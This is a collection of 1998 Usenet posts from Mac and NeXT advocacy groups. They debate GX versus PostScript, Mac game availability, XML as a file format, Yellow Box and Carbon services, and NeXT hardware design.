> >and development tools for DOS/Windows. After MFC was put forward as the
> >standard on Windows systems, the Object Windows Library was view as
> >incompatible by many developers. In reality, the OWL is mainly an
> >encapsulation of the foundation objects of Windows with the subclassing
> >being a snap. Delphi and C++Builder are worldclass tools that are
> >respected yet oftentimes avoided because of decisions by managers to
remain
> >with Microsoft. Decisions made almost exclusively on the basis of
> >COMPATIBILITY which is a laugh.
> >
> >Do you use any tools from other vendors? And if so, which and what
> >percentage of total?
>
> The same tools which are used on other platforms can be used to
> develop for Windows. I'm kind of partial to ones like GCC or
> Codewarrior, which facilitate cross-platform development.
>
Good for you! So we agree then?
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 18:35:58 GMT
Organization: Rockwell International
Message-ID: <6m3pie$pg72@onews.collins.rockwell.com>
References: <jdoherty-1406980207090001@san-tx3-06.ix.netcom.com> <B1A94512-2BAB1@206.165.43.176>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1A94512-2BAB1@206.165.43.176> "Lawson English" wrote:
> It IS true:
>
> "The GX graphics portion of GX (sans bitmaps,
> currently, I believe) is the basis of QuickTime Vector Graphics and is
> available on WIndows, MacOS, Rahpsody, and probably on SGI and Solaris
> machines also."
>
> That's many MILLIONS of computers. How many computers have DPS installed?
>
> And remember: QuickTime will be used in Disney Kiosks, as the basis for
> MPEG-4, and (according to rumor) as the _de facto_ standard for
> movie-playback for many console computer games. PS/DPS simply doesn't enter
> into that equation at all. GX Graphics (in the form of QuickTime Vector
> Graphics) may well be in LOTS of places very shortly.
>
Ok, PDF is Postscript sans a language. I suspect PDF viewers are somewhat
more common than Quicktime viewes ans Web plug-ins. Anyone have the numbers
? I have never seen a Netscape or IE that did not have a PDF viewer.
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 19:19:48 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1506981519280001@pm53-28.magicnet.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com>
sal@panix3.panix.com (Salvatore Denaro) wrote:
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Two or three dozen iMac game programs would be even more desirable.
>
> I don't think there are a half dozen yet. Can someone list some companies
> that write games for the Mac? Or at least do dual Mac/PC versions of games?
MacSoft. Lots of things from them, and some of the best titles out there,
including Civilization II.
Blizzard is another. Diablo sound familiar?
Incidentally, there are a lot more Mac games than many folks realize, and
quite a few of the better ones are actually shareware (Escape Velocity
Override from Ambrosia is a great example, along with the other Ambrosia
titles).
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 19:27:32 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1506981527110001@pm53-28.magicnet.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> *coff* Mac game development is essentially dead.
>
> The only people that appear to be active are the
> count-on-fingers-of-one-hand cross porting companies like MacSoft, and the
> shareware authors. Companies that used to do cross platform titles like
> Atomic, are adbandoning the Mac side (this is the general rule).
Atomic? They did what, *one* Mac title?
> Other
> companies that got "into it" over the last two years saw dissapointing sales
> on the Mac side, and are leaving it again, likely for good this time.
...aside from all of the folks who actually *wrote* Mac games, and who saw
increases in sales (like MacSoft's 151% increase in sales over the last
year).
> Games on the Mac are in horribly serious trouble.
Not really. A lot of companies have noticed that they can go into the PC
market, and fight a half-dozen bigger companies for shelf space, or come
out with a Mac title, and have *no* competition.
> I don't play Doom or Descent, I play sims and strat games. The selection
> of titles of this on the Mac consisted of a SINGLE title last year (A Bridge
> Too Far - and Atomic's now out apparently)
...and Civilization II, and Master of Orion II, just off of the top of my
head. There were also quite a few others that you missed, but my guess is
that you didn't look that hard.
> The statement above is laughably untrue. Even the people at MacSoft,
> worthy as they are, can port only a handfull of games each year and for good
> reasons pick only the very popular ones. The complete lack of any games
> worthy of my money on the Mac is why I was forced to buy a PC this year.
Of course, with the recent increase in Mac games development, you'll be
missing out, but what the heck...
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 19:29:45 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1506981529250001@pm53-28.magicnet.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <358537F3.66478A32@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> As far as being "audibly superior" goes, what prompts you to make this
> statement? Is the sound subsystem in the iMac PCI? Even cheap PC clones
> can be fitted with PCI sound right now for around $100, which is
> natively capable of CD-Quality sound reproduction. What's in the iMac
> that prompts you to pronounce it better?
CD-quality sound that's been in the Mac for almost fifteen years now,
which *works*, and which you don't need special drivers or add-ons for to
get that same CD-quality sound.
Those "cool" new PC sound cards are just now catching up to the quality of
what's been in Macs for *years*, and you think it's some sort of
advantage?
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 12:26:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AAC334-6397@206.165.43.7>
References: <9806151832.AA09593@palmer.cca.rockwell.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Erik M. Buck <embuck@palmer.cca.rockwell.com> said:
>
>Ok, PDF is Postscript sans a language. I suspect PDF viewers are somewhat
>more common than Quicktime viewes ans Web plug-ins. Anyone have the
>numbers
>? I have never seen a Netscape or IE that did not have a PDF viewer.
>
OH, PUHlease. PDF is NOT "PS sans a language." PS *IS* a language. PDF is
merely a way of organizing a bunch of graphics primitives that PS happens
to use.
If we're going to get THAT vague about what is what, QuickDraw is used on
virtually every computer in the world because QuickDraw was the inspiration
for GX, DPS, PDF, GDI and just about every modern 2D graphics system.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 19:31:26 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1506981531060001@pm53-28.magicnet.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <sam-1506981534110001@203.21.125.60> <3585335A.8E6F1978@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> The Apple list is, of course, a PR gimmick and woefully out of date.
Yes- there are certainly more companies out there that aren't listed.
Thanks for pointing that out...
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 12:59:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AACB1D-23F64@206.165.43.7>
References: <6m3886$i04$3@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1AAAE85-75770@206.165.43.126> "Lawson English" claimed:
>> " The GX graphics portion of GX (sans bitmaps,
>> currently, I believe) is the basis of QuickTime Vector Graphics and is
>> available on WIndows, MacOS, Rahpsody, and probably on SGI and Solaris
>> machines also."
>
> And PS graphics is the basis of an entire industry. There's no point
here
>Lawson. The fact that Apple uses some GX-like system in QT means nothing
>other than Apple still has NIH.
Or, maybe, just maybe, that GX graphics is an ideal fit to multi-media
vector graphics. If nothing else, the use of quadratic Beziers means that
it CAN be optimized to run faster than cubic Beziers, given the equivalent
effort. Quadratics will show decent performance on any modern CPU, even
ones with slow multiplication. Cubics require multiplication to render, I
believe.
Quadratics are much easier to deal with. I want to know how far along a
Bezier path my sprite has gone. This is trivial to figure out using
quadratics and not so easy to do using cubics.
Besides, it isn't "GX-like." It IS GX, design-wise, but missing several
important pieces that make GX suitable for DTP. The most current QT manual
quotes the various GX manuals verbatum for over 100 pages.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 12 Jun 98 09:52:43
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun12095243@slave.doubleu.com>
References: <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu>
<rmcassid-0906981239540001@dante.eng.uci.edu>
<slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu>
<ldo-1106981751380001@a7.hn3.wave.co.nz>
<357FA2ED.FC1EF0C9@alum.mit.edu>
<SCOTT.98Jun11091928@slave.doubleu.com>
<6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu>
<SCOTT.98Jun11182754@slave.doubleu.com>
<6lq9lf$m6c$1@news.xmission.com> <6lqpur$70a$1@supernews.com>
<6lqt9m$m6c$3@news.xmission.com>
In-reply-to: don@misckit.com's message of 12 Jun 1998 09:44:22 GMT
In article <6lqt9m$m6c$3@news.xmission.com>,
don@misckit.com (Don Yacktman) writes:
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> Don Yacktman may or may not have said:
> [snip]
> -> The two disadvantages to XML are (1) that it takes slightly
> -> longer (only very slightly if you have a good implementation)
> -> to process (irrelevant given today's hardware) and (2) that it
> -> is more "verbose" so it takes more bytes to store the data
> -> (the difference is small enough to be irrelevant given today's
> -> hard drive prices).
>
> Both of which are solved by the very simple expedient of stashing
> your XML data in a *common*, compressed format which is
> implemented by a free utility like gzip or Perl's "pack"
> function.
That helps #2 at the expense of #1, of course.
Yes.
Going to a proprietary binary data format could allow you to
improve both simultaneously, instead of trading one for the other.
For instance, you could encode repeated tag names as references to
earlier tag names. Likewise with attribute names, and certain
attribute values. That could result in quite a bit of compression,
while making decoding almost easier, but...
But you would lose all the benefits of an ASCII file format by
doing that, for a gain that would be negligible.
Agreed. What I mention above is a variant of what NXTypedStreams use.
With appropriate documentation, it's not _too_ hard to write code
which converts NXTypedStreams into a more human-readable format, but
the original format itself is very unreadable.
One key point I was trying to make is that the disadvantages are
moot given today's hardware technology and prices.
Actually, on today's hardware you get a rather heavy penalty for
pushing data through the CPU. For something like XML, you are pretty
likely to be bottlenecked in reading the data.
On the other hand, Amdahl's Law applies. Unless _all_ you're doing is
reading the data, it's highly likely that the processing time will
swamp the input time.
> I would also say that be keeping one's data files in ASCII,
> debugging can be made a great deal easier. "Is that file
> corrupted? Let's see what we're writing out."
Good point. That was sort of implied in what I had written (I
mentioned fixing a corrupted file) but debugging the app generating
the data file is a different activity, so I should have mentioned
it explicitly. Ease of debugging ASCII files is something I've
found very important. I archive almost all my data in property
lists nowadays, and avoid binary file formats like the plague.
XML is better than that - you can write an automated validator which
can generically verify that a given XML is well-formed and/or valid
(with a DTD). This could catch a whole slew of problems without
manual review.
> I'm not sure Microsquish does this out of malice anymore.
Never attribute to conspiracy that which can be attributed to
sheer, unadulterated stupidity...
(That's one of my favorite rephrasings of Occam's Razor.)
I recently saw a Clarke variant which goes like:
Sufficiently advanced cluelessness is indistinguisahble from
malice
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 Jun 98 22:10:50
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun11221050@slave.doubleu.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <slrn6o0hnh.kcg.sal@panix3.panix.com>
<6lphh7$ila$1@crib.corepower.com>
<rmcassid-1106981440550001@dante.eng.uci.edu>
<6lpo5p$ivg$1@crib.corepower.com> <slrn6o17gs.ouc.sal@panix3.panix.com>
In-reply-to: sal@panix3.panix.com's message of 12 Jun 1998 03:18:52 GMT
In article <slrn6o17gs.ouc.sal@panix3.panix.com>,
sal@panix3.panix.com (Salvatore Denaro) writes:
On 11 Jun 1998 19:10:49 -0400, Nathan Urban,
<nurban@crib.corepower.com> wrote:
>Services could probably be implemented as a form of scripting
>should Apple so choose. Might lose some of the OOPness though.
From what I have read, Carbon has no OOPness to lose, It is flat C
wrappers from tip to tail. Is there any reason why a (forgive my
MSism here) thunking layer between YB services and Carbon's
scripting couldn't be done?
If they can thunk the pasteboards (and they claim they can), there
shouldn't be any problem handling Services, which is, after all,
pasteboard based.
The problem is whether they can wedge the functionality into programs
appropriately. They'd need to add new menu entries without requiring
deep traversal (I'd rather have the Services menu at the top level
than under the Apple menu). They'd need to convince programs to put
the selection on a pasteboard on-demand, though that might be handled
by AppleScript.
The multiple pasteboards under YB can probably be simulated in this
case by saving aside the pasteboard under Carbon, convincing the app
to put the selection on the pasteboard, invoke the Service, convince
the app to replace the selection from the pasteboard (if needed), and
then restoring the original pasteboard data.
I don't have an investment in MacOS, so I won't have any intest in
Carbon Apps unless they have access to services and can be scripted
from the YB. I would like it if I started up Carbon-Appleworks and
there was a services top level menu.
It will be somewhat annoying if you have to implement Services in
terms of the current scripting architecture. Services as it exists on
current OpenStep is neat because it uses it's own private pasteboards,
and the system handles moving the data around - your service just
registers and gets called as needed. If your service had to suck the
data from the selection itself, that would be annoying (and prone to
errors and incompatibilities).
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 11 Jun 98 22:03:37
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun11220337@slave.doubleu.com>
References: <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu>
<rmcassid-0906981239540001@dante.eng.uci.edu>
<slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu>
<ldo-1106981751380001@a7.hn3.wave.co.nz>
<357FA2ED.FC1EF0C9@alum.mit.edu>
<SCOTT.98Jun11091928@slave.doubleu.com>
<6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu>
<SCOTT.98Jun11182754@slave.doubleu.com>
<6lq9lf$m6c$1@news.xmission.com>
In-reply-to: don@misckit.com's message of 12 Jun 1998 04:09:19 GMT
In article <6lq9lf$m6c$1@news.xmission.com>,
don@misckit.com (Don Yacktman) writes:
scott@doubleu.com (Scott Hess) wrote:
> You could use XML as a message format for Corba, or as a file
> format to store EOModels in, or as a replacement for NSPPL
> format, or as a replacement for the NSArchive format, whatever.
> Anyplace you need to store structured data in a file.
briefly here's a few things I like:
* file formats can no longer be proprietary because they're way too
easy to engineer. XML is human readable, so it is easy to figure
out what is stored, where, and how. If MS Office wrote out XML
data, it would be really easy to convert it into any other format
you knew about.
Things here should happen one of two ways. Say Microsoft uses XML as
their data format (not "export to", and "import from", _native_ file
format). Then you have a lingua fraca for, say, word processing. You
could potentially have a mini market in products which massage and
process documents, and also products which are targetted variants on
Word. Say a %20-of-Word product for people who don't want all that
bother. Or a product targetted specifically for the legal market,
that can interoperate with Word for pre and post processing.
* files can be forward and backward compatible! An "old" version
file may be missing a few tags, but the new program version can
have a few default values to fill in for those items.
This is likely.
A "new" version file will have a few unrecognized tags and
options--but in XML you just ignore them. So the old program can
read files written by the new program version. Some detail may get
lost, but ineroperability is greatly enhanced over what you get
today.
This is a tough nut to crack. The old program will be able to _read_
the file, but might not be able to do much with a lot of what's in the
file. Say in the old version, a tag has contents, but in the new
version, it's empty. A file from the new version _might_ still work
in the old, but the handling of that element might be radically wrong.
The more interesting proposal is if you read the file and retained
everything - ignore what you don't understand BUT DON'T STRIP IT!
Then you could do your business on the file, and write it back out,
and have half a chance that it will retain the newer codes. Say, for
instance, you have a Word2001 file, but you forgot to boldface some
text, and all you have available is Word99 (you're at a print shop or
something). You might be able to read the file, mark it up, save it,
and not lose all the virtual reality table of contents stuff you
added.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: bhahn@spam-spam.go-away.com (Brendan Hahn)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 15 Jun 1998 12:39:07 -0800
Organization: Transoft Corp
Message-ID: <bhahn-ya02408000R1506981239070001@news.transoft.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca> <rmcassid-1006981118370001@dante.eng.uci.edu> <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca> <rmcassid-1506980043430001@dialin9148.slip.uci.edu> <*johnnyc*-1506981025470001@jchristie.halifaxcable.dal.ca>
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*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>> Now, if I can get some Apple corroboration of what you say and if Apple
>> will say for the record (a nice web page on www.developer.apple.com would
>> do) that MacOS X beta will support the DR1 hardware as well as G3s, I'll
>> be considerably less pissed-off than I was before.
>
> For the latter you won't get any corroboration from Apple. They have
>clearly stated that.
Has there been an official statement on that since WWDC? The initial plan
announced at WWDC said G3 and later hardware, but at the end of the week,
after a lot of feedback and complaint on that point, a lot of people had
acknowledged the earlier-hardware question as important and still open to
consideration. I'm thinking particularly o OS Evangelist John Signa's talk
at the Core OS Feedabck Forum--he acknowledged developer's concerns, stated
that the issue would be further investigated, and suggested the possibility
of a G3-targeted system that would support older machines with some penalty
in performance or functionality. Response to that idea was pretty
favorable.
I think the issue is still open.
bhahn@transoft.mangle.net <-- unmangle to reply
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 15 Jun 98 10:48:01
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun15104801@slave.doubleu.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net>
<edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com>
<6lqa8p$m6c$2@news.xmission.com> <6m0rce$ndd$3@ironhorse.plsys.co.uk>
<slrn6o8u5a.1jv.sal@panix3.panix.com> <35849212.0@news.depaul.edu>
In-reply-to: Jonathan W Hendry's message of 15 Jun 98 03:16:34 GMT
In article <35849212.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
When Apple introduces the next translucent Mac, they should have a
little fun. Following in the footsteps of the magnesium-alloy cube
chassis, they should unveil the new box glowing, like the iMac was.
But Jobs should announce that the case is filled with
'electroluminescent plasma'.
Actually, I want one made out of "scrith" (see Ringworld by Niven).
You'd have to install it in a slight depression, though, lest it slide
off the edge of your desk.
(Then acknowledge the gag, lest some milquetoast Mac wanker start
calling for a class-action suit against Apple.)
I'm just imaginging the fun we'll have when the first quantum
computing peripheral comes out. [Could we have lawsuits on problems
which haven't been observed because they don't want to influence the
indeterminate nature of the problem?]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 11 Jun 98 21:51:25
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun11215125@slave.doubleu.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net>
<edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com>
<6lqa8p$m6c$2@news.xmission.com>
In-reply-to: don@misckit.com's message of 12 Jun 1998 04:19:37 GMT
In article <6lqa8p$m6c$2@news.xmission.com>,
don@misckit.com (Don Yacktman) writes:
scott@doubleu.com (Scott Hess) wrote:
> [...] if you can't cleanly place them in the base unit, hide the
> floppy and CD-ROM around the side of the monitor, while you're at
> it,
I disagree with this part. One of the things that always annoyed
me about the NeXT slabs was that the floppy slot was on the side.
So remove the floppy! Problem solved!
I've traditionally been short on desk space and the need to keep an
area clear next to the slab has been a major pain in the rear for
me.
Actually, part of my justification for positioning on the side is that
I use the floppy drive on my NeXTstation so seldom that it doesn't
really make a difference where it is. In fact, the only uses I've had
for it in like a year has been to put drivers and the like onto a DOS
format floppy, because I powered down my Intel machine _then_ realized
I needed something off the net...
The solution for the slab is to put the slot in the front and then
have a little door that swings down to provide access when you need
it and swings up to make the case look good the rest of the time
(like the one in the front of a VCR that hides all the little
controls that are more esoteric than "play", "rewind" and "eject").
The door should be motorized, of course.
Actually, the slab's floppy isn't that annoying as it is, since it's
just a hole in the case, without eject buttons and the like. I'd be
willing to match it up with a slot CD-ROM.
Unfortunately, even the front of a pizza box isn't that great of a
place for a CD-ROM drive. They just need too much space. Perhaps
these drives could be installed under the keyboard, then you can just
lift it a bit to clear some space...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 12 Jun 98 08:56:53
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun12085653@slave.doubleu.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net>
<edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com>
<6lqa8p$m6c$2@news.xmission.com>
<Om2g1.34230$BE5.5426783@news.rdc1.nj.home.com>
<6lra9i$6mk$1@nnrp1.dejanews.com>
In-reply-to: spagiola@my-dejanews.com's message of Fri, 12 Jun 1998 13:26:10 GMT
In article <6lra9i$6mk$1@nnrp1.dejanews.com>,
spagiola@my-dejanews.com writes:
Hmmm... if one bought a standard "internal" CD-ROM drive, could it
easily be mounted inside the case from the original NeXT CD-ROM
drive?
Sure, no problem, I took mine apart before moving this winter, just to
see if it needed any cleaning, and things looked pretty standard in
there.
I'd give you my standard "But current drives might run hotter, and
thus might not be workable", except that in my experience current
external drives come in _smaller_ cases, also without fans. And in my
experience (with <=16x drives), CD-ROMs simply don't run all that hot
anyhow.
CD-R's are another story. My external CD-R is in a case smaller than
my NeXT CD-ROM case, and it is _hot_. Hot enough that I'd hesitate to
install it internal to a well-populated tower. But the drive itself
must be able to handle the heat fine, because the entire case is hot,
yet the drive has worked for a year and a half, now,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 Jun 1998 11:27:21 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6m30ep$s4b$3@sun27.hrz.tu-darmstadt.de>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca> <B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com> <6m2nh8$irr$3@bolivia.it.earthlink.net>
"Ziya Oz" <ZiyaOz@earthlink.net> wrote:
>sanguish@digifix.com (Scott Anguish) wrote:
>
>>Sorry Lawson, but YB is essential to a major money making
>>beast at Apple, WebObjects..
>For a $4 BILLION company with a product roster very much different than the
>substance and focus of WebObject, that's not a "money making beast" vital to
the
>wellbeing of the corporation.
Enterprise.
C.
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 Jun 1998 11:25:54 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6m30c2$s4b$2@sun27.hrz.tu-darmstadt.de>
References: <6m2gro$cci$1@news.digifix.com> <B1AA2A48-14950@206.165.43.119>
"Lawson English" <english@primenet.com> wrote:
>Scott Anguish <sanguish@digifix.com> said:
>
>>>YB will work on a subset of Wintel hardware.
>>
>> YB will work on any machine running Windows 95 and NT.
>
>
>
>REally? I don't know of any software from any software house, including
>Microsoft, that makes that claim about a specific application running on
>Wintel hardware. Strikes me that a framework is a bit harder to support
>than a generic application, because it must be all things to all people, so
>I question your absolutist assertion.
YB will work on any machine running Windows 95 and NT. It's a Windows
application, it uses the Windows API, just like any other Windows app.
Stating that it will work on a subset of Windows machines is like
stating that only a subset of Windows machine run Office, or that
Corel Draw only works on a subset of Windows machines. Or that GX
will only be able to print to a subset of printers.
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Mon, 15 Jun 1998 07:39:32 -0500
Organization: Prairie Group
Message-ID: <MPG.feed200cc3d366598986f@news.supernews.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <Pine.SOL.3.96.980615011908.456A-100000@hei.unige.ch> <358322BC.4620@southwind.net>
In article <358322BC.4620@southwind.net>, jmz@southwind.net says...
> I compare Jobs to Hitler quite intentionally,but conditionally:I'm not
> accusing him of genocide or war atrocities.I am saying that he's
> dysfunctional and disturbed and conciously or otherwise is determined to
> fail at Apple,per se.
>
But the fact that, of all the dysfunctional leaders you could have
chosen, it was just a random chance you chose Hitler.
Yeah.
Right.
Donald
